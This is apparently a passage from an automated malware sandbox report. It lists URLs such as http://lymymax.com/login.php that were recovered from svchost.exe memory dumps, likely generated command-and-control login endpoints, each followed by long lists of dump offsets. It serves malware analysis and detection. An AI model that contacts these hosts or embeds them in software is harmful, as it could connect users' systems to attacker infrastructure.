http://lymymax.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymymud.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302611741.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303296410.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyner.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymynuj.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610102916.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329748670.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329628428.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330446877.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337011719.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334181353.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334382414.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymysud.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334936802.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymytar.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2538475351.00000000087FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194320231.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388123270.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296327594.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202674715.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymytux.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyvin.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339131570.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymywun.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryfox.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577742596.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577938444.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrygyn.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799115351.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryler.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrylix.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryman.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrymuj.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323585198.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrynad.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrytyx.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296876973.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296327594.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297408732.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrywax.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrywur.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337011719.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryxen.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyfin.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyger.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyjex.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysylej.com/login.php
Source: svchost.exe, 00000002.00000003.2671356551.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670306640.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665740291.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysylun.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysymux.com/login.php
